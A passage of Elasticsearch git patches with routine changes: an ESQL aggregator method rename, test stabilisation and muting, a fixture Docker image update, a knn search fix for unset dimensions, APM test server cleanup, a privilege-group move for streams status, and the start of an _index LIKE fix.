+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/aggregation/ToPartialGroupingAggregatorFunction.java
@@ -55,8 +55,8 @@ public ToPartialGroupingAggregatorFunction(GroupingAggregatorFunction delegate,
     }
 
     @Override
-    public AddInput prepareProcessPage(SeenGroupIds seenGroupIds, Page page) {
-        return delegate.prepareProcessPage(seenGroupIds, page);
+    public AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds, Page page) {
+        return delegate.prepareProcessRawInputPage(seenGroupIds, page);
     }
 
     @Override
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunctionTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunctionTests.java
index dbd5d0cc167d1..407056f429dad 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunctionTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/FilteredGroupingAggregatorFunctionTests.java
@@ -124,7 +124,7 @@ public void testAddIntermediateRowInput() {
             while ((p = source.getOutput()) != null) {
                 try (
                     IntVector group = ctx.blockFactory().newConstantIntVector(0, p.getPositionCount());
-                    GroupingAggregatorFunction.AddInput addInput = leaf.prepareProcessPage(null, p)
+                    GroupingAggregatorFunction.AddInput addInput = leaf.prepareProcessRawInputPage(null, p)
                 ) {
                     addInput.add(0, group);
                 } finally {
diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunctionTestCase.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunctionTestCase.java
index 9e5039e8fd9b9..04d1221fbe40d 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunctionTestCase.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/aggregation/GroupingAggregatorFunctionTestCase.java
@@ -661,9 +661,9 @@ public GroupingAggregatorFunction groupingAggregator(DriverContext driverContext
                     BitArray seenGroupIds = new BitArray(0, nonBreakingBigArrays());
 
                     @Override
-                    public AddInput prepareProcessPage(SeenGroupIds ignoredSeenGroupIds, Page page) {
+                    public AddInput prepareProcessRawInputPage(SeenGroupIds ignoredSeenGroupIds, Page page) {
                         return new AddInput() {
-                            final AddInput delegateAddInput = delegate.prepareProcessPage(bigArrays -> {
+                            final AddInput delegateAddInput = delegate.prepareProcessRawInputPage(bigArrays -> {
                                 BitArray seen = new BitArray(0, bigArrays);
                                 seen.or(seenGroupIds);
                                 return seen;

From a44e993d0f2a6940a6be2c327ef67cdb0cfca909 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Fri, 11 Jul 2025 15:04:39 -0400
Subject: [PATCH 128/299] ESQL: Shore up test (#130217) (#131116)

Adds a `_forcemerge` to a test to try and avoid spurious failures. The
tests expect everything in one segment and the bulk mostly does that-
but `_forcemerge` should *double* force it.

Closes #129975
---
 .../esql/qa/single_node/StoredFieldsSequentialIT.java    | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/StoredFieldsSequentialIT.java b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/StoredFieldsSequentialIT.java
index df4444f5a1e47..027bf3313e661 100644
--- a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/StoredFieldsSequentialIT.java
+++ b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/StoredFieldsSequentialIT.java
@@ -195,6 +195,15 @@ public void buildIndex() throws IOException {
         bulk.setJsonEntity(b.toString());
         Response bulkResponse = client().performRequest(bulk);
         assertThat(entityToMap(bulkResponse.getEntity(), XContentType.JSON), matchesMap().entry("errors", false).extraOk());
+
+        // Forcemerge to one segment to get more consistent results.
+        Request forcemerge = new Request("POST", "/_forcemerge");
+        forcemerge.addParameter("max_num_segments", "1");
+        Response forcemergeResponse = client().performRequest(forcemerge);
+        assertThat(
+            entityToMap(forcemergeResponse.getEntity(), XContentType.JSON),
+            matchesMap().entry("_shards", matchesMap().entry("failed", 0).entry("successful", greaterThanOrEqualTo(1)).extraOk()).extraOk()
+        );
     }
 
     @Override

From 09e03d84b60c1bbe536f488a00fb92a0da149bb9 Mon Sep 17 00:00:00 2001
From: Ankit Sethi <ankit.sethi@elastic.co>
Date: Fri, 11 Jul 2025 16:08:41 -0500
Subject: [PATCH 129/299] issue should be already fixed by #121466 (#130860)
 (#131125)

---
 muted-tests.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index dcad0e1b3f98e..077f0d4ec1a38 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -176,9 +176,6 @@ tests:
 - class: org.elasticsearch.test.rest.ClientYamlTestSuiteIT
   method: test {yaml=snapshot.delete/10_basic/Delete a snapshot asynchronously}
   issue: https://github.com/elastic/elasticsearch/issues/122102
-- class: org.elasticsearch.smoketest.SmokeTestMonitoringWithSecurityIT
-  method: testHTTPExporterWithSSL
-  issue: https://github.com/elastic/elasticsearch/issues/122220
 - class: org.elasticsearch.blocks.SimpleBlocksIT
   method: testConcurrentAddBlock
   issue: https://github.com/elastic/elasticsearch/issues/122324

From ce90f9d0ac18bc1b648320d95a30916b6c628b61 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Sat, 12 Jul 2025 15:28:47 +0200
Subject: [PATCH 130/299] Mute org.elasticsearch.index.IndexingPressureIT
 testWriteCanRejectOnPrimaryBasedOnMaxOperationSize #130281

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 077f0d4ec1a38..f5a031daed7da 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -530,6 +530,9 @@ tests:
 - class: org.elasticsearch.search.SearchWithRejectionsIT
   method: testOpenContextsAfterRejections
   issue: https://github.com/elastic/elasticsearch/issues/130821
+- class: org.elasticsearch.index.IndexingPressureIT
+  method: testWriteCanRejectOnPrimaryBasedOnMaxOperationSize
+  issue: https://github.com/elastic/elasticsearch/issues/130281
 
 # Examples:
 #

From 6f0ed56307a21eb2ed7d6f61219680abdcd22357 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Sat, 12 Jul 2025 15:28:54 +0200
Subject: [PATCH 131/299] Mute org.elasticsearch.index.IndexingPressureIT
 testWriteCanBeRejectedAtPrimaryLevel #131151

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index f5a031daed7da..2c7947f76af7b 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -533,6 +533,9 @@ tests:
 - class: org.elasticsearch.index.IndexingPressureIT
   method: testWriteCanRejectOnPrimaryBasedOnMaxOperationSize
   issue: https://github.com/elastic/elasticsearch/issues/130281
+- class: org.elasticsearch.index.IndexingPressureIT
+  method: testWriteCanBeRejectedAtPrimaryLevel
+  issue: https://github.com/elastic/elasticsearch/issues/131151
 
 # Examples:
 #

From f1a59350071993fa202ad16a941ddbf2f2c90259 Mon Sep 17 00:00:00 2001
From: Tim Vernum <tim@adjective.org>
Date: Mon, 14 Jul 2025 19:47:31 +1000
Subject: [PATCH 132/299] Update JDK base image for OIDC fixture (#131176)
 (#131179)

This upgrades the JDK base image for the OIDC fixture.

The old image used Debian 10 (buster) which is no longer supported and
it appears the APT repos have been shutdown

We now use a temurin supplied image based on Ubuntu 24 (Noble Numbat)
---
 x-pack/test/idp-fixture/src/main/resources/oidc/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/test/idp-fixture/src/main/resources/oidc/Dockerfile b/x-pack/test/idp-fixture/src/main/resources/oidc/Dockerfile
index 858038d483349..92cd2f46436db 100644
--- a/x-pack/test/idp-fixture/src/main/resources/oidc/Dockerfile
+++ b/x-pack/test/idp-fixture/src/main/resources/oidc/Dockerfile
@@ -1,5 +1,5 @@
 FROM c2id/c2id-server-demo:16.1.1 AS c2id
-FROM openjdk:21-jdk-buster
+FROM eclipse-temurin:17-noble
 
 # Using this to launch a fake server on container start; see `setup.sh`
 RUN apt-get update -qqy && apt-get install -qqy python3

From c53d73d1233ef52a6b2f9c7c89ea1828e0994fc6 Mon Sep 17 00:00:00 2001
From: Carlos Delgado <6339205+carlosdelest@users.noreply.github.com>
Date: Mon, 14 Jul 2025 13:07:02 +0200
Subject: [PATCH 133/299] Fix knn search error when dimensions are not set
 (#131081) (#131118)

* Unmute tests muted in #129550 as they were fixed in #127322

* Return no match when no dimensions have been set

* Add tests

* Update docs/changelog/131081.yaml

(cherry picked from commit bbc4cefae3c5aded73089f87070905b0b4e963f1)

# Conflicts:
#	server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
#	x-pack/plugin/esql/qa/testFixtures/src/main/resources/knn-function.csv-spec
---
 docs/changelog/131081.yaml                    |  6 ++++
 .../test/search.vectors/40_knn_search.yml     | 33 +++++++++++++++++++
 .../vectors/DenseVectorFieldMapper.java       |  4 +++
 .../elasticsearch/search/SearchFeatures.java  |  4 ++-
 4 files changed, 46 insertions(+), 1 deletion(-)
 create mode 100644 docs/changelog/131081.yaml

diff --git a/docs/changelog/131081.yaml b/docs/changelog/131081.yaml
new file mode 100644
index 0000000000000..e0557f17968a4
--- /dev/null
+++ b/docs/changelog/131081.yaml
@@ -0,0 +1,6 @@
+pr: 131081
+summary: Fix knn search error when dimensions are not set
+area: Vector Search
+type: bug
+issues:
+ - 129550
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
index 35e59b0e4e31a..e617d08940f84 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
@@ -670,3 +670,36 @@ setup:
           properties:
             embedding:
               type: dense_vector
+
+
+---
+"Searching with no data dimensions specified":
+  - requires:
+      cluster_features: "search.vectors.no_dimensions_bugfix"
+      reason: "Search with no dimensions bugfix"
+
+  - do:
+      indices.create:
+        index: empty-test
+        body:
+          mappings:
+            properties:
+              vector:
+                type: dense_vector
+                index: true
+
+  - do:
+      search:
+        index: empty-test
+        body:
+          fields: [ "name" ]
+          knn:
+            field: vector
+            query_vector: [ -0.5, 90.0, -10, 14.8, -156.0 ]
+            k: 3
+            num_candidates: 3
+            rescore_vector:
+              oversample: 1.5
+            similarity: 0.1
+
+  - match: { hits.total.value: 0 }
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
index 269299d60cc2d..1189d7c2b28e3 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
@@ -31,6 +31,7 @@
 import org.apache.lucene.index.VectorEncoding;
 import org.apache.lucene.index.VectorSimilarityFunction;
 import org.apache.lucene.search.FieldExistsQuery;
+import org.apache.lucene.search.MatchNoDocsQuery;
 import org.apache.lucene.search.Query;
 import org.apache.lucene.search.join.BitSetProducer;
 import org.apache.lucene.search.knn.KnnSearchStrategy;
@@ -2446,6 +2447,9 @@ public Query createKnnQuery(
                     "to perform knn search on field [" + name() + "], its mapping must have [index] set to [true]"
                 );
             }
+            if (dims == null) {
+                return new MatchNoDocsQuery("No data has been indexed for field [" + name() + "]");
+            }
             KnnSearchStrategy knnSearchStrategy = heuristic.getKnnSearchStrategy();
             return switch (getElementType()) {
                 case BYTE -> createKnnByteQuery(
diff --git a/server/src/main/java/org/elasticsearch/search/SearchFeatures.java b/server/src/main/java/org/elasticsearch/search/SearchFeatures.java
index 0c2f7c2aa625b..80ccd4c188538 100644
--- a/server/src/main/java/org/elasticsearch/search/SearchFeatures.java
+++ b/server/src/main/java/org/elasticsearch/search/SearchFeatures.java
@@ -32,6 +32,7 @@ public Set<NodeFeature> getFeatures() {
     public static final NodeFeature INT_SORT_FOR_INT_SHORT_BYTE_FIELDS = new NodeFeature("search.sort.int_sort_for_int_short_byte_fields");
     static final NodeFeature MULTI_MATCH_CHECKS_POSITIONS = new NodeFeature("search.multi.match.checks.positions");
     public static final NodeFeature BBQ_HNSW_DEFAULT_INDEXING = new NodeFeature("search.vectors.mappers.default_bbq_hnsw");
+    public static final NodeFeature SEARCH_WITH_NO_DIMENSIONS_BUGFIX = new NodeFeature("search.vectors.no_dimensions_bugfix");
 
     @Override
     public Set<NodeFeature> getTestFeatures() {
@@ -41,7 +42,8 @@ public Set<NodeFeature> getTestFeatures() {
             RESCORER_MISSING_FIELD_BAD_REQUEST,
             INT_SORT_FOR_INT_SHORT_BYTE_FIELDS,
             MULTI_MATCH_CHECKS_POSITIONS,
-            BBQ_HNSW_DEFAULT_INDEXING
+            BBQ_HNSW_DEFAULT_INDEXING,
+            SEARCH_WITH_NO_DIMENSIONS_BUGFIX
         );
     }
 }

From 42439cc41a02e3b4188c3ddbb5c26342e63821f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lorenzo=20Dematt=C3=A9?= <lorenzo.dematte@elastic.co>
Date: Mon, 14 Jul 2025 14:22:47 +0200
Subject: [PATCH 134/299] Stop RecordingApmServer message processing before
 returning from tests (#130007) (#131149)

# Conflicts:
#	muted-tests.yml

Co-authored-by: Carlos Delgado <6339205+carlosdelest@users.noreply.github.com>
---
 muted-tests.yml                               |  3 --
 .../apmintegration/RecordingApmServer.java    | 45 +++++++++----------
 .../test/apmintegration/TracesApmIT.java      |  4 +-
 3 files changed, 24 insertions(+), 28 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 2c7947f76af7b..8ca6329f30c27 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -491,9 +491,6 @@ tests:
 - class: org.elasticsearch.search.query.VectorIT
   method: testFilteredQueryStrategy
   issue: https://github.com/elastic/elasticsearch/issues/129517
-- class: org.elasticsearch.test.apmintegration.TracesApmIT
-  method: testApmIntegration
-  issue: https://github.com/elastic/elasticsearch/issues/129651
 - class: org.elasticsearch.xpack.security.SecurityRolesMultiProjectIT
   method: testUpdatingFileBasedRoleAffectsAllProjects
   issue: https://github.com/elastic/elasticsearch/issues/129775
diff --git a/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/RecordingApmServer.java b/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/RecordingApmServer.java
index db2ce9fb83a55..d20f2d08719e7 100644
--- a/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/RecordingApmServer.java
+++ b/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/RecordingApmServer.java
@@ -15,7 +15,6 @@
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
 import org.elasticsearch.core.SuppressForbidden;
-import org.elasticsearch.xcontent.spi.XContentProvider;
 import org.junit.rules.ExternalResource;
 
 import java.io.BufferedReader;
@@ -25,7 +24,6 @@
 import java.net.InetAddress;
 import java.net.InetSocketAddress;
 import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.ArrayBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -35,14 +33,12 @@
 public class RecordingApmServer extends ExternalResource {
     private static final Logger logger = LogManager.getLogger(RecordingApmServer.class);
 
-    private static final XContentProvider.FormatProvider XCONTENT = XContentProvider.provider().getJsonXContent();
-
     final ArrayBlockingQueue<String> received = new ArrayBlockingQueue<>(1000);
 
     private static HttpServer server;
     private final Thread messageConsumerThread = consumerThread();
     private volatile Consumer<String> consumer;
-    private volatile boolean consumerRunning = true;
+    private volatile boolean running = true;
 
     @Override
     protected void before() throws Throwable {
@@ -56,7 +52,7 @@ protected void before() throws Throwable {
 
     private Thread consumerThread() {
         return new Thread(() -> {
-            while (consumerRunning) {
+            while (running) {
                 if (consumer != null) {
                     try {
                         String msg = received.poll(1L, TimeUnit.SECONDS);
@@ -74,28 +70,38 @@ private Thread consumerThread() {
 
     @Override
     protected void after() {
+        running = false;
         server.stop(1);
-        consumerRunning = false;
+        consumer = null;
     }
 
     private void handle(HttpExchange exchange) throws IOException {
         try (exchange) {
-            try {
-                try (InputStream requestBody = exchange.getRequestBody()) {
-                    if (requestBody != null) {
-                        var read = readJsonMessages(requestBody);
-                        received.addAll(read);
+            if (running) {
+                try {
+                    try (InputStream requestBody = exchange.getRequestBody()) {
+                        if (requestBody != null) {
+                            var read = readJsonMessages(requestBody);
+                            received.addAll(read);
+                        }
                     }
-                }
 
-            } catch (RuntimeException e) {
-                logger.warn("failed to parse request", e);
+                } catch (Throwable t) {
+                    // The lifetime of HttpServer makes message handling "brittle": we need to start handling and recording received
+                    // messages before the test starts running. We should also stop handling them before the test ends (and the test
+                    // cluster is torn down), or we may run into IOException as the communication channel is interrupted.
+                    // Coordinating the lifecycle of the mock HttpServer and of the test ES cluster is difficult and error-prone, so
+                    // we just handle Throwable and don't care (log, but don't care): if we have an error in communicating to/from
+                    // the mock server while the test is running, the test would fail anyway as the expected messages will not arrive, and
+                    // if we have an error outside the test scope (before or after) that is OK.
+                    logger.warn("failed to parse request", t);
+                }
             }
             exchange.sendResponseHeaders(201, 0);
         }
     }
 
-    private List<String> readJsonMessages(InputStream input) throws IOException {
+    private List<String> readJsonMessages(InputStream input) {
         // parse NDJSON
         return new BufferedReader(new InputStreamReader(input, StandardCharsets.UTF_8)).lines().toList();
     }
@@ -104,14 +110,7 @@ public int getPort() {
         return server.getAddress().getPort();
     }
 
-    public List<String> getMessages() {
-        List<String> list = new ArrayList<>(received.size());
-        received.drainTo(list);
-        return list;
-    }
-
     public void addMessageConsumer(Consumer<String> messageConsumer) {
         this.consumer = messageConsumer;
     }
-
 }
diff --git a/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/TracesApmIT.java b/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/TracesApmIT.java
index 6b10140bd80ed..afb9243e0f3ef 100644
--- a/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/TracesApmIT.java
+++ b/test/external-modules/apm-integration/src/javaRestTest/java/org/elasticsearch/test/apmintegration/TracesApmIT.java
@@ -91,7 +91,8 @@ public void testApmIntegration() throws Exception {
 
         client().performRequest(nodeStatsRequest);
 
-        finished.await(30, TimeUnit.SECONDS);
+        var completed = finished.await(30, TimeUnit.SECONDS);
+        assertTrue("Timeout when waiting for assertions to complete", completed);
         assertThat(assertions, equalTo(Collections.emptySet()));
     }
 
@@ -143,5 +144,4 @@ private Map<String, Object> parseMap(String message) {
             return Collections.emptyMap();
         }
     }
-
 }

From db2880bfd141f5a0fa6f8cff6fb594219cdbccd0 Mon Sep 17 00:00:00 2001
From: Luke Whiting <luke.whiting@elastic.co>
Date: Mon, 14 Jul 2025 14:32:43 +0100
Subject: [PATCH 135/299] Move streams status actions to cluster:monitor group
 (#131015) (#131193)

* Move streams status actions to cluster:monitor group

* Update docs/changelog/131015.yaml
---
 docs/changelog/131015.yaml                                   | 5 +++++
 .../elasticsearch/rest/streams/logs/StreamsStatusAction.java | 2 +-
 .../org/elasticsearch/xpack/security/operator/Constants.java | 2 +-
 3 files changed, 7 insertions(+), 2 deletions(-)
 create mode 100644 docs/changelog/131015.yaml

diff --git a/docs/changelog/131015.yaml b/docs/changelog/131015.yaml
new file mode 100644
index 0000000000000..91e0519e88ec6
--- /dev/null
+++ b/docs/changelog/131015.yaml
@@ -0,0 +1,5 @@
+pr: 131015
+summary: Move streams status actions to cluster:monitor group
+area: Data streams
+type: bug
+issues: []
diff --git a/modules/streams/src/main/java/org/elasticsearch/rest/streams/logs/StreamsStatusAction.java b/modules/streams/src/main/java/org/elasticsearch/rest/streams/logs/StreamsStatusAction.java
index 95a1783ac0452..4b60c088980e9 100644
--- a/modules/streams/src/main/java/org/elasticsearch/rest/streams/logs/StreamsStatusAction.java
+++ b/modules/streams/src/main/java/org/elasticsearch/rest/streams/logs/StreamsStatusAction.java
@@ -26,7 +26,7 @@
 
 public class StreamsStatusAction {
 
-    public static ActionType<Response> INSTANCE = new ActionType<>("cluster:admin/streams/status");
+    public static ActionType<Response> INSTANCE = new ActionType<>("cluster:monitor/streams/status");
 
     public static class Request extends LocalClusterStateRequest {
         protected Request(TimeValue masterTimeout) {
diff --git a/x-pack/plugin/security/qa/operator-privileges-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/operator/Constants.java b/x-pack/plugin/security/qa/operator-privileges-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/operator/Constants.java
index 881ab821e62f6..fd576bff413a0 100644
--- a/x-pack/plugin/security/qa/operator-privileges-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/operator/Constants.java
+++ b/x-pack/plugin/security/qa/operator-privileges-tests/src/javaRestTest/java/org/elasticsearch/xpack/security/operator/Constants.java
@@ -73,7 +73,6 @@ public class Constants {
         "cluster:admin/scripts/painless/context",
         "cluster:admin/scripts/painless/execute",
         "cluster:admin/streams/logs/toggle",
-        "cluster:admin/streams/status",
         "cluster:admin/synonyms/delete",
         "cluster:admin/synonyms/get",
         "cluster:admin/synonyms/put",
@@ -373,6 +372,7 @@ public class Constants {
         "cluster:monitor/settings",
         "cluster:monitor/state",
         "cluster:monitor/stats",
+        "cluster:monitor/streams/status",
         "cluster:monitor/task",
         "cluster:monitor/task/get",
         "cluster:monitor/tasks/lists",

From 992e62d64d3782761f4ede1f7a1d415a5b5eb779 Mon Sep 17 00:00:00 2001
From: Julian Kiryakov <julian.kiryakov@elastic.co>
Date: Mon, 14 Jul 2025 09:59:56 -0400
Subject: [PATCH 136/299] [9.1] Fix behavior for _index LIKE for ESQL (#130849)
 (#130948)

* Fix behavior for _index LIKE for ESQL (#130849)

Fixes _index LIKE <pattern> to always have normal text matching semantics.

Implement a generic ExpressionQuery and ExpressionQueryBuilder that can be serialized to the data node. Then the ExpressionQueryBuilder can build an Automaton using TranslationAware.asLuceneQuery() and execute it in Lucine.

Introduces a breaking change for LIKE on _index fields. The old like behavior is not correct and does not have normal like semantics from ESQL. Customers upgrading from old build to new build might see a regression, where the data changes due to the like filters on clustering produces different results, but the new results are correct.

Behavior for ESQL
New CCS to New => New behavior everywhere
Old CCS to New => Old behavior everywhere (the isForESQL flag is not passed in from old)
New CCS to Old => New behavior for new, old behavior for old (the isForESQL cannot be passed, old does not know about it).
Old CCS to Old => Old behavior everywhere

Closes #129511

(cherry picked from commit 8c4eaf957dcf46a269dacf8b9be8d3aa0cb422f0)

# Conflicts:
#	server/src/main/java/org/elasticsearch/TransportVersions.java
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
#	x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/LocalPhysicalPlanOptimizerTests.java

* Prepare for backport to 9.1 and 8.19

* Address code review feedback

* Transport version backport

* [CI] Auto commit changes from spotless

* Fix merge errors

---------

Co-authored-by: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
---
 .../_nightly/esql/QueryPlanningBenchmark.java |   6 +-
 docs/changelog/130849.yaml                    |   6 +
 .../org/elasticsearch/TransportVersions.java  |   2 +
 .../index/mapper/ConstantFieldType.java       |  41 ++++++
 .../index/mapper/IndexFieldMapper.java        |  37 ++++++
 .../index/mapper/IndexModeFieldMapper.java    |   5 +
 .../index/mapper/KeywordFieldMapper.java      |  15 +++
 .../index/mapper/MappedFieldType.java         |  33 +++++
 .../index/query/AutomatonQueryBuilder.java    | 108 ---------------
 .../query/AutomatonQueryWithDescription.java  |  36 +++++
 .../query/CoordinatorRewriteContext.java      |   5 +
 .../index/query/WildcardQueryBuilder.java     |  45 ++++++-
 .../query/WildcardQueryBuilderTests.java      |   1 +
 .../mapper/DataTierFieldMapper.java           |   5 +
 .../core/querydsl/query/AutomatonQuery.java   |  66 ----------
 .../esql/core/querydsl/query/BoolQuery.java   |  10 ++
 .../esql/core/querydsl/query/ExistsQuery.java |   5 +
 .../core/querydsl/query/GeoDistanceQuery.java |   5 +
 .../esql/core/querydsl/query/MatchAll.java    |   5 +
 .../esql/core/querydsl/query/NotQuery.java    |   5 +
 .../esql/core/querydsl/query/PrefixQuery.java |   5 +
 .../xpack/esql/core/querydsl/query/Query.java |   6 +
 .../core/querydsl/query/QueryStringQuery.java |   5 +
 .../esql/core/querydsl/query/RangeQuery.java  |   5 +
 .../esql/core/querydsl/query/RegexQuery.java  |   5 +
 .../esql/core/querydsl/query/TermQuery.java   |   5 +
 .../esql/core/querydsl/query/TermsQuery.java  |   5 +
 .../core/querydsl/query/WildcardQuery.java    |  22 ++--
 .../core/querydsl/query/LeafQueryTests.java   |   5 +
 .../xpack/esql/ccq/MultiClustersIT.java       | 106 +++++++++++----
 .../xpack/esql/EsqlTestUtils.java             |   2 +-
 .../xpack/esql/action/EsqlCapabilities.java   |   7 +-
 .../esql/capabilities/TranslationAware.java   |  20 +++
 .../function/scalar/string/EndsWith.java      |   2 +-
 .../function/scalar/string/StartsWith.java    |   2 +-
 .../scalar/string/regex/WildcardLike.java     |   9 +-
 .../scalar/string/regex/WildcardLikeList.java |  75 +++++++++--
 .../xpack/esql/io/stream/ExpressionQuery.java |  67 ++++++++++
 .../io/stream/ExpressionQueryBuilder.java     | 123 ++++++++++++++++++
 .../stream/PlanStreamWrapperQueryBuilder.java | 111 ++++++++++++++++
 .../LocalPhysicalOptimizerContext.java        |   3 +-
 .../local/EnableSpatialDistancePushdown.java  |   4 +-
 .../local/LucenePushdownPredicates.java       |  19 ++-
 .../physical/local/PushFiltersToSource.java   |   4 +-
 .../physical/local/PushTopNToSource.java      |   2 +-
 .../xpack/esql/parser/EsqlParser.java         |  16 ++-
 .../xpack/esql/planner/PlannerUtils.java      |  44 +++++--
 .../esql/plugin/ClusterComputeHandler.java    |   3 +
 .../xpack/esql/plugin/ComputeContext.java     |   1 +
 .../xpack/esql/plugin/ComputeService.java     |  21 ++-
 .../esql/plugin/DataNodeComputeHandler.java   |  10 +-
 .../xpack/esql/plugin/EsqlFlags.java          |  34 +++++
 .../xpack/esql/plugin/EsqlPlugin.java         |   7 +-
 .../esql/plugin/TransportEsqlQueryAction.java |   3 +
 .../query/EqualsSyntheticSourceDelegate.java  |   5 +
 .../xpack/esql/querydsl/query/KnnQuery.java   |   5 +
 .../xpack/esql/querydsl/query/KqlQuery.java   |   5 +
 .../esql/querydsl/query/MatchPhraseQuery.java |   5 +
 .../xpack/esql/querydsl/query/MatchQuery.java |   5 +
 .../esql/querydsl/query/MultiMatchQuery.java  |   5 +
 .../esql/querydsl/query/SingleValueQuery.java |   5 +
 .../querydsl/query/SpatialRelatesQuery.java   |   5 +
 .../TranslationAwareExpressionQuery.java      |   5 +
 .../xpack/esql/session/Configuration.java     |  24 ++++
 .../xpack/esql/session/EsqlSession.java       |   2 +-
 .../elasticsearch/xpack/esql/CsvTests.java    |   5 +-
 .../esql/analysis/AnalyzerTestUtils.java      |   4 +-
 .../xpack/esql/analysis/ParsingTests.java     |   7 +-
 .../xpack/esql/analysis/VerifierTests.java    |   5 +-
 .../function/CheckLicenseTests.java           |   2 +-
 .../function/scalar/string/EndsWithTests.java |   2 +-
 .../scalar/string/StartsWithTests.java        |   2 +-
 .../scalar/string/WildcardLikeListTests.java  |   7 +-
 .../scalar/string/WildcardLikeTests.java      |   2 +-
 .../AbstractLogicalPlanOptimizerTests.java    |  10 +-
 .../LocalLogicalPlanOptimizerTests.java       |   4 +-
 .../optimizer/LogicalPlanOptimizerTests.java  |  46 ++++---
 .../esql/optimizer/OptimizerRulesTests.java   |   3 +-
 .../optimizer/PhysicalPlanOptimizerTests.java |   7 +-
 .../esql/optimizer/TestPlannerOptimizer.java  |   5 +-
 .../logical/PropagateInlineEvalsTests.java    |   2 +-
 .../physical/local/PushTopNToSourceTests.java |   3 +-
 .../parser/AbstractStatementParserTests.java  |   7 +-
 .../xpack/esql/parser/ExpressionTests.java    |   3 +-
 .../GrammarInDevelopmentParsingTests.java     |   3 +-
 .../esql/parser/StatementParserTests.java     |  16 ++-
 .../xpack/esql/planner/FilterTests.java       |  20 +--
 .../esql/plugin/ClusterRequestTests.java      |   2 +-
 .../DataNodeRequestSerializationTests.java    |   2 +-
 .../session/IndexResolverFieldNamesTests.java |  12 +-
 .../esql/telemetry/VerifierMetricsTests.java  |   3 +-
 .../mapper/ConstantKeywordFieldMapper.java    |   5 +
 92 files changed, 1125 insertions(+), 334 deletions(-)
 create mode 100644 docs/changelog/130849.yaml
 delete mode 100644 server/src/main/java/org/elasticsearch/index/query/AutomatonQueryBuilder.java
 create mode 100644 server/src/main/java/org/elasticsearch/index/query/AutomatonQueryWithDescription.java
 delete mode 100644 x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/AutomatonQuery.java
